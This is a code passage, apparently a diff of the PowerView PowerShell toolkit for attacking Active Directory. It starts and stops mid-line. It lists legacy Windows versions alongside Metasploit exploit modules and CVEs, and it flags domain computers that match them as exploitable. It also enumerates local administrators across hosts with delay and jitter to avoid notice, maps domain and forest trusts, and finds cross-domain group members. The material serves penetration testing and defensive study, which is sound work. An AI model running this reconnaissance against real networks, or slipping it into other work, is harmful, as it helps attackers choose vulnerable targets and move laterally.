3","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms07_029_msdns_zonename","http://www.cvedetails.com/cve/2007-1748") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06_066_nwapi","http://www.cvedetails.com/cve/2006-4688") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06_070_wkssvc","http://www.cvedetails.com/cve/2006-4691") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") + $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") + $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") + $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109") + $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/smb/ms05_039_pnp","http://www.cvedetails.com/cve/2005-1983") + $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") + $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/dcerpc/ms07_029_msdns_zonename","http://www.cvedetails.com/cve/2007-1748") + $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") + $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms06_066_nwapi","http://www.cvedetails.com/cve/2006-4688") + $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") + $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") + $Null = $TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/dcerpc/ms07_029_msdns_zonename","http://www.cvedetails.com/cve/2007-1748") + $Null = $TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") + $Null = $TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") + $Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") + $Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") + $Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") + $Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") + $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") + $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/") + $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") + $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") + $Null = $TableExploits.Rows.Add("Windows Server 2008","Service Pack 2","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") + $Null = $TableExploits.Rows.Add("Windows Server 2008","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") + $Null = $TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") + $Null = $TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") + $Null = $TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") + $Null = $TableExploits.Rows.Add("Windows Server 2008 R2","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") + $Null = $TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") + $Null = $TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") + $Null = $TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") + $Null = $TableExploits.Rows.Add("Windows Vista","Service Pack 2","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") + $Null = $TableExploits.Rows.Add("Windows Vista","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") + $Null = $TableExploits.Rows.Add("Windows Vista","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") + $Null = $TableExploits.Rows.Add("Windows Vista","","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") + $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") + $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") + $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/") + $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms05_039_pnp","http://www.cvedetails.com/cve/2005-1983") + $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") + $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") + $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") + $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06_066_nwapi","http://www.cvedetails.com/cve/2006-4688") + $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06_070_wkssvc","http://www.cvedetails.com/cve/2006-4691") + $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") + $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") + $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 3","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") + $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 3","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") + $Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") + $Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") + $Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") + $Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") + + # Status user + Write-Verbose "[*] Checking computers for vulnerable OS and SP levels..." + + # ---------------------------------------------------------------- + # Setup data table to store vulnerable systems + # ---------------------------------------------------------------- + + # Create data table to house vulnerable server list + $TableVulnComputers = New-Object System.Data.DataTable + $Null = $TableVulnComputers.Columns.Add('ComputerName') + $Null = $TableVulnComputers.Columns.Add('OperatingSystem') + $Null = $TableVulnComputers.Columns.Add('ServicePack') + $Null = $TableVulnComputers.Columns.Add('LastLogon') + $Null = $TableVulnComputers.Columns.Add('MsfModule') + $Null = $TableVulnComputers.Columns.Add('CVE') + + # Iterate through each exploit + $TableExploits | ForEach-Object { + + $ExploitOS = $_.OperatingSystem + $ExploitSP = $_.ServicePack + $ExploitMsf = $_.MsfModule + $ExploitCVE = $_.CVE + + # Iterate through each ADS computer + $TableAdsComputers | ForEach-Object { + + $AdsHostname = $_.Hostname + $AdsOS = $_.OperatingSystem + $AdsSP = $_.ServicePack + $AdsLast = $_.LastLogon + + # Add exploitable systems to vul computers data table + if ($AdsOS -like "$ExploitOS*" -and $AdsSP -like "$ExploitSP" ) { + # Add domain computer to data table + $Null = $TableVulnComputers.Rows.Add($AdsHostname,$AdsOS,$AdsSP,$AdsLast,$ExploitMsf,$ExploitCVE) + } + } + } + + # Display results + $VulnComputer = $TableVulnComputers | Select-Object ComputerName -Unique | Measure-Object + $VulnComputerCount = $VulnComputer.Count + if ($VulnComputer.Count -gt 0) { + # Return vulnerable server list order with some hack date casting + Write-Verbose "[+] Found $VulnComputerCount potentially vulnerable systems!" + $TableVulnComputers | Sort-Object { $_.lastlogon -as [datetime]} -Descending + } + else { + Write-Verbose "[-] No vulnerable systems were found." + } +} + + +function Invoke-EnumerateLocalAdmin { +<# + .SYNOPSIS + + This function queries the domain for all active machines with + Get-NetComputer, then for each server it queries the local + Administrators with Get-NetLocalGroup. + + Author: @harmj0y + License: BSD 3-Clause + + .PARAMETER ComputerName + + Host array to enumerate, passable on the pipeline. + + .PARAMETER ComputerFile + + File of hostnames/IPs to search. + + .PARAMETER ComputerFilter + + Host filter name to query AD for, wildcards accepted. + + .PARAMETER ComputerADSpath + + The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER NoPing + + Switch. Don't ping each host to ensure it's up before enumerating. + + .PARAMETER Delay + + Delay between enumerating hosts, defaults to 0 + + .PARAMETER Jitter + + Jitter for the host delay, defaults to +/- 0.3 + + .PARAMETER OutFile + + Output results to a specified csv output file. + + .PARAMETER NoClobber + + Switch. Don't overwrite any existing output file. + + .PARAMETER TrustGroups + + Switch. Only return results that are not part of the local machine + or the machine's domain. Old Invoke-EnumerateLocalTrustGroup + functionality. + + .PARAMETER Domain + + Domain to query for machines, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER SearchForest + + Switch. Search all domains in the forest for target users instead of just + a single domain. + + .PARAMETER Threads + + The maximum concurrent threads to execute. + + .EXAMPLE + + PS C:\> Invoke-EnumerateLocalAdmin + + Enumerates the members of local administrators for all machines + in the current domain. + + .EXAMPLE + + PS C:\> Invoke-EnumerateLocalAdmin -Threads 10 + + Threaded local admin enumeration, replaces Invoke-EnumerateLocalAdminThreaded + + .LINK + + http://blog.harmj0y.net/ +#> + + [CmdletBinding()] + param( + [Parameter(Position=0,ValueFromPipeline=$True)] + [Alias('Hosts')] + [String[]] + $ComputerName, + + [ValidateScript({Test-Path -Path $_ })] + [Alias('HostList')] + [String] + $ComputerFile, + + [String] + $ComputerFilter, + + [String] + $ComputerADSpath, + + [Switch] + $NoPing, + + [UInt32] + $Delay = 0, + + [Double] + $Jitter = .3, + + [String] + $OutFile, + + [Switch] + $NoClobber, + + [Switch] + $TrustGroups, + + [String] + $Domain, + + [String] + $DomainController, + + [Switch] + $SearchForest, + + [ValidateRange(1,100)] + [Int] + $Threads + ) + + begin { + if ($PSBoundParameters['Debug']) { + $DebugPreference = 'Continue' + } + + # random object for delay + $RandNo = New-Object System.Random + + Write-Verbose "[*] Running Invoke-EnumerateLocalAdmin with delay of $Delay" + + if(!$ComputerName) { + + if($Domain) { + $TargetDomains = @($Domain) + } + elseif($SearchForest) { + # get ALL the domains in the forest to search + $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } + } + else { + # use the local domain + $TargetDomains = @( (Get-NetDomain).name ) + } + + # if we're using a host list, read the targets in and add them to the target list + if($ComputerFile) { + $ComputerName = Get-Content -Path $ComputerFile + } + else { + [array]$ComputerName = @() + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for hosts" + $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController + } + } + + # remove any null target hosts, uniquify the list and shuffle it + $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } + if($($ComputerName.Count) -eq 0) { + throw "No hosts found!" + } + } + + # delete any existing output file if it already exists + if(!$NoClobber) { + if ($OutFile -and (Test-Path -Path $OutFile)) { Remove-Item -Path $OutFile } + } + + if($TrustGroups) { + + Write-Verbose "Determining domain trust groups" + + # find all group names that have one or more users in another domain + $TrustGroupNames = Find-ForeignGroup -Domain $Domain -DomainController $DomainController | ForEach-Object { $_.GroupName } | Sort-Object -Unique + + $TrustGroupsSIDs = $TrustGroupNames | ForEach-Object { + # ignore the builtin administrators group for a DC (S-1-5-32-544) + # TODO: ignore all default built in sids? + Get-NetGroup -Domain $Domain -DomainController $DomainController -GroupName $_ -FullData | Where-Object { $_.objectsid -notmatch "S-1-5-32-544" } | ForEach-Object { $_.objectsid } + } + + # query for the primary domain controller so we can extract the domain SID for filtering + $DomainSID = Get-DomainSID -Domain $Domain + } + + # script block that enumerates a server + $HostEnumBlock = { + param($ComputerName, $Ping, $OutFile, $DomainSID, $TrustGroupsSIDs) + + # optionally check if the server is up first + $Up = $True + if($Ping) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName + } + if($Up) { + # grab the users for the local admins on this server + $LocalAdmins = Get-NetLocalGroup -ComputerName $ComputerName + + # if we just want to return cross-trust users + if($DomainSID -and $TrustGroupSIDS) { + # get the local machine SID + $LocalSID = ($LocalAdmins | Where-Object { $_.SID -match '.*-500$' }).SID -replace "-500$" + + # filter out accounts that begin with the machine SID and domain SID + # but preserve any groups that have users across a trust ($TrustGroupSIDS) + $LocalAdmins = $LocalAdmins | Where-Object { ($TrustGroupsSIDs -contains $_.SID) -or ((-not $_.SID.startsWith($LocalSID)) -and (-not $_.SID.startsWith($DomainSID))) } + } + + if($LocalAdmins -and ($LocalAdmins.Length -ne 0)) { + # output the results to a csv if specified + if($OutFile) { + $LocalAdmins | Export-PowerViewCSV -OutFile $OutFile + } + else { + # otherwise return the user objects + $LocalAdmins + } + } + else { + Write-Verbose "[!] No users returned from $Server" + } + } + } + + } + + process { + + if($Threads) { + Write-Verbose "Using threading with threads = $Threads" + + # if we're using threading, kick off the script block with Invoke-ThreadedFunction + $ScriptParams = @{ + 'Ping' = $(-not $NoPing) + 'OutFile' = $OutFile + 'DomainSID' = $DomainSID + 'TrustGroupsSIDs' = $TrustGroupsSIDs + } + + # kick off the threaded script block + arguments + Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams + } + + else { + if(-not $NoPing -and ($ComputerName.count -ne 1)) { + # ping all hosts in parallel + $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} + $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100 + } + + Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)" + $Counter = 0 + + ForEach ($Computer in $ComputerName) { + + $Counter = $Counter + 1 + + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + + Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $OutFile, $DomainSID, $TrustGroupsSIDs + } + } + } +} + + +######################################################## +# +# Domain trust functions below. +# +######################################################## + +function Get-NetDomainTrust { +<# + .SYNOPSIS + + Return all domain trusts for the current domain or + a specified domain. + + .PARAMETER Domain + + The domain whose trusts to enumerate, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER LDAP + + Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections. + More likely to get around network segmentation, but not as accurate. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Get-NetDomainTrust + + Return domain trusts for the current domain. + + .EXAMPLE + + PS C:\> Get-NetDomainTrust -Domain "prod.testlab.local" + + Return domain trusts for the "prod.testlab.local" domain. + + .EXAMPLE + + PS C:\> Get-NetDomainTrust -Domain "prod.testlab.local" -DomainController "PRIMARY.testlab.local" + + Return domain trusts for the "prod.testlab.local" domain, reflecting + queries through the "Primary.testlab.local" domain controller +#> + + [CmdletBinding()] + param( + [Parameter(Position=0,ValueFromPipeline=$True)] + [String] + $Domain = (Get-NetDomain).Name, + + [String] + $DomainController, + + [Switch] + $LDAP, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + process { + if($LDAP -or $DomainController) { + + $TrustSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize + + if($TrustSearcher) { + + $TrustSearcher.filter = '(&(objectClass=trustedDomain))' + + $TrustSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + $Props = $_.Properties + $DomainTrust = New-Object PSObject + $TrustAttrib = Switch ($Props.trustattributes) + { + 0x001 { "non_transitive" } + 0x002 { "uplevel_only" } + 0x004 { "quarantined_domain" } + 0x008 { "forest_transitive" } + 0x010 { "cross_organization" } + 0x020 { "within_forest" } + 0x040 { "treat_as_external" } + 0x080 { "trust_uses_rc4_encryption" } + 0x100 { "trust_uses_aes_keys" } + Default { + Write-Warning "Unknown trust attribute: $($Props.trustattributes)"; + "$($Props.trustattributes)"; + } + } + $Direction = Switch ($Props.trustdirection) { + 0 { "Disabled" } + 1 { "Inbound" } + 2 { "Outbound" } + 3 { "Bidirectional" } + } + $ObjectGuid = New-Object Guid @(,$Props.objectguid[0]) + $DomainTrust | Add-Member Noteproperty 'SourceName' $Domain + $DomainTrust | Add-Member Noteproperty 'TargetName' $Props.name[0] + $DomainTrust | Add-Member Noteproperty 'ObjectGuid' "{$ObjectGuid}" + $DomainTrust | Add-Member Noteproperty 'TrustType' "$TrustAttrib" + $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$Direction" + $DomainTrust + } + } + } + + else { + # if we're using direct domain connections + $FoundDomain = Get-NetDomain -Domain $Domain + + if($FoundDomain) { + (Get-NetDomain -Domain $Domain).GetAllTrustRelationships() + } + } + } +} + + +function Get-NetForestTrust { +<# + .SYNOPSIS + + Return all trusts for the current forest. + + .PARAMETER Forest + + Return trusts for the specified forest. + + .EXAMPLE + + PS C:\> Get-NetForestTrust + + Return current forest trusts. + + .EXAMPLE + + PS C:\> Get-NetForestTrust -Forest "test" + + Return trusts for the "test" forest. +#> + + [CmdletBinding()] + param( + [Parameter(Position=0,ValueFromPipeline=$True)] + [String] + $Forest + ) + + process { + $FoundForest = Get-NetForest -Forest $Forest + if($FoundForest) { + $FoundForest.GetAllTrustRelationships() + } + } +} + + +function Find-ForeignUser { +<# + .SYNOPSIS + + Enumerates users who are in groups outside of their + principal domain. The -Recurse option will try to map all + transitive domain trust relationships and enumerate all + users who are in groups outside of their principal domain. + + .PARAMETER UserName + + Username to filter results for, wildcards accepted. + + .PARAMETER Domain + + Domain to query for users, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER LDAP + + Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections. + More likely to get around network segmentation, but not as accurate. + + .PARAMETER Recurse + + Switch. Enumerate all user trust groups from all reachable domains recursively. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .LINK + + http://blog.harmj0y.net/ +#> + + [CmdletBinding()] + param( + [String] + $UserName, + + [String] + $Domain, + + [String] + $DomainController, + + [Switch] + $LDAP, + + [Switch] + $Recurse, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + function Get-ForeignUser { + # helper used to enumerate users who are in groups outside of their principal domain + param( + [String] + $UserName, + + [String] + $Domain, + + [String] + $DomainController, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + if ($Domain) { + # get the domain name into distinguished form + $DistinguishedDomainName = "DC=" + $Domain -replace '\.',',DC=' + } + else { + $DistinguishedDomainName = [String] ([adsi]'').distinguishedname + $Domain = $DistinguishedDomainName -replace 'DC=','' -replace ',','.' + } + + Get-NetUser -Domain $Domain -DomainController $DomainController -UserName $UserName -PageSize $PageSize | Where-Object {$_.memberof} | ForEach-Object { + ForEach ($Membership in $_.memberof) { + $Index = $Membership.IndexOf("DC=") + if($Index) { + + $GroupDomain = $($Membership.substring($Index)) -replace 'DC=','' -replace ',','.' + + if ($GroupDomain.CompareTo($Domain)) { + # if the group domain doesn't match the user domain, output + $GroupName = $Membership.split(",")[0].split("=")[1] + $ForeignUser = New-Object PSObject + $ForeignUser | Add-Member Noteproperty 'UserDomain' $Domain + $ForeignUser | Add-Member Noteproperty 'UserName' $_.samaccountname + $ForeignUser | Add-Member Noteproperty 'GroupDomain' $GroupDomain + $ForeignUser | Add-Member Noteproperty 'GroupName' $GroupName + $ForeignUser | Add-Member Noteproperty 'GroupDN' $Membership + $ForeignUser + } + } + } + } + } + + if ($Recurse) { + # get all rechable domains in the trust mesh and uniquify them + if($LDAP -or $DomainController) { + $DomainTrusts = Invoke-MapDomainTrust -LDAP -DomainController $DomainController -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique + } + else { + $DomainTrusts = Invoke-MapDomainTrust -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique + } + + ForEach($DomainTrust in $DomainTrusts) { + # get the trust groups for each domain in the trust mesh + Write-Verbose "Enumerating trust groups in domain $DomainTrust" + Get-ForeignUser -Domain $DomainTrust -UserName $UserName -PageSize $PageSize + } + } + else { + Get-ForeignUser -Domain $Domain -DomainController $DomainController -UserName $UserName -PageSize $PageSize + } +} + + +function Find-ForeignGroup { +<# + .SYNOPSIS + + Enumerates all the members of a given domain's groups + and finds users that are not in the queried domain. + The -Recurse flag will perform this enumeration for all + eachable domain trusts. + + .PARAMETER GroupName + + Groupname to filter results for, wildcards accepted. + + .PARAMETER Domain + + Domain to query for groups, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER LDAP + + Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections. + More likely to get around network segmentation, but not as accurate. + + .PARAMETER Recurse + + Switch. Enumerate all group trust users from all reachable domains recursively. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .LINK + + http://blog.harmj0y.net/ +#> + + [CmdletBinding()] + param( + [String] + $GroupName = '*', + + [String] + $Domain, + + [String] + $DomainController, + + [Switch] + $LDAP, + + [Switch] + $Recurse, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + function Get-ForeignGroup { + param( + [String] + $GroupName = '*', + + [String] + $Domain, + + [String] + $DomainController, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + if(-not $Domain) { + $Domain = (Get-NetDomain).Name + } + + $DomainDN = "DC=$($Domain.Replace('.', ',DC='))" + Write-Verbose "DomainDN: $DomainDN" + + # standard group names to ignore + $ExcludeGroups = @("Users", "Domain Users", "Guests") + + # get all the groupnames for the given domain + Get-NetGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize | Where-Object {$_.member} | Where-Object { + # exclude common large groups + -not ($ExcludeGroups -contains $_.samaccountname) } | ForEach-Object { + + $GroupName = $_.samAccountName + + $_.member | ForEach-Object { + # filter for foreign SIDs in the cn field for users in another domain, + # or if the DN doesn't end with the proper DN for the queried domain + if (($_ -match 'CN=S-1-5-21.*-.*') -or ($DomainDN -ne ($_.substring($_.IndexOf("DC="))))) { + + $UserDomain = $_.subString($_.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' + $UserName = $_.split(",")[0].split("=")[1] + + $ForeignGroupUser = New-Object PSObject + $ForeignGroupUser | Add-Member Noteproperty 'GroupDomain' $Domain + $ForeignGroupUser | Add-Member Noteproperty 'GroupName' $GroupName + $ForeignGroupUser | Add-Member Noteproperty 'UserDomain' $UserDomain + $ForeignGroupUser | Add-Member Noteproperty 'UserName' $UserName + $ForeignGroupUser | Add-Member Noteproperty 'UserDN' $_ + $ForeignGroupUser + } + } + } + } + + if ($Recurse) { + # get all rechable domains in the trust mesh and uniquify them + if($LDAP -or $DomainController) { + $DomainTrusts = Invoke-MapDomainTrust -LDAP -DomainController $DomainController -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique + } + else { + $DomainTrusts = Invoke-MapDomainTrust -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique + } + + ForEach($DomainTrust in $DomainTrusts) { + # get the trust groups for each domain in the trust mesh + Write-Verbose "Enumerating trust groups in domain $DomainTrust" + Get-ForeignGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -PageSize $PageSize + } + } + else { + Get-ForeignGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -PageSize $PageSize + } +} + + +function Invoke-MapDomainTrust { +<# + .SYNOPSIS + + This function gets all trusts for the current domain, + and tries to get all trusts for each domain it finds. + + .PARAMETER LDAP + + Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections. + More likely to get around network segmentation, but not as accurate. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Invoke-MapDomainTrust | Export-CSV -NoTypeInformation trusts.csv + + Map all reachable domain trusts and output everything to a .csv file. + + .LINK + + http://blog.harmj0y.net/ +#> + [CmdletBinding()] + param( + [Switch] + $LDAP, + + [String] + $DomainController, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + # keep track of domains seen so we don't hit infinite recursion + $SeenDomains = @{} + + # our domain status tracker + $Domains = New-Object System.Collections.Stack + + # get the current domain and push it onto the stack + $CurrentDomain = (Get-NetDomain).Name + $Domains.push($CurrentDomain) + + while($Domains.Count -ne 0) { + + $Domain = $Domains.Pop() + + # if we haven't seen this domain before + if (-not $SeenDomains.ContainsKey($Domain)) { + + Write-Verbose "Enumerating trusts for domain '$Domain'" + + # mark it as seen in our list + $Null = $SeenDomains.add($Domain, "") + + try { + # get all the trusts for this domain + if($LDAP -or $DomainController) { + $Trusts = Get-NetDomainTrust -Domain $Domain -LDAP -DomainController $DomainController -PageSize $PageSize + } + else { + $Trusts = Get-NetDomainTrust -Domain $Domain -PageSize $PageSize + } + + if ($Trusts) { + + # enumerate each trust found + ForEach ($Trust in $Trusts) { + $SourceDomain = $Trust.SourceName + $TargetDomain = $Trust.TargetName + $TrustType = $Trust.TrustType + $TrustDirection = $Trust.TrustDirection + + # make sure we process the target + $Null = $Domains.push($TargetDomain) + + # build the nicely-parsable custom output object + $DomainTrust = New-Object PSObject + $DomainTrust | Add-Member Noteproperty 'SourceDomain' "$SourceDomain" + $DomainTrust | Add-Member Noteproperty 'TargetDomain' "$TargetDomain" + $DomainTrust | Add-Member Noteproperty 'TrustType' "$TrustType" + $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$TrustDirection" + $DomainTrust + } + } + } + catch { + Write-Warning "[!] Error: $_" + } + } + } +} + + +######################################################## +# +# Expose the Win32API functions and datastructures below +# using PSReflect. +# Warning: Once these are executed, they are baked in +# and can't be changed while the script is running! +# +######################################################## + +$Mod = New-InMemoryModule -ModuleName Win32 + +# all of the Win32 API functions we need +$FunctionDefinitions = @( + (func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), 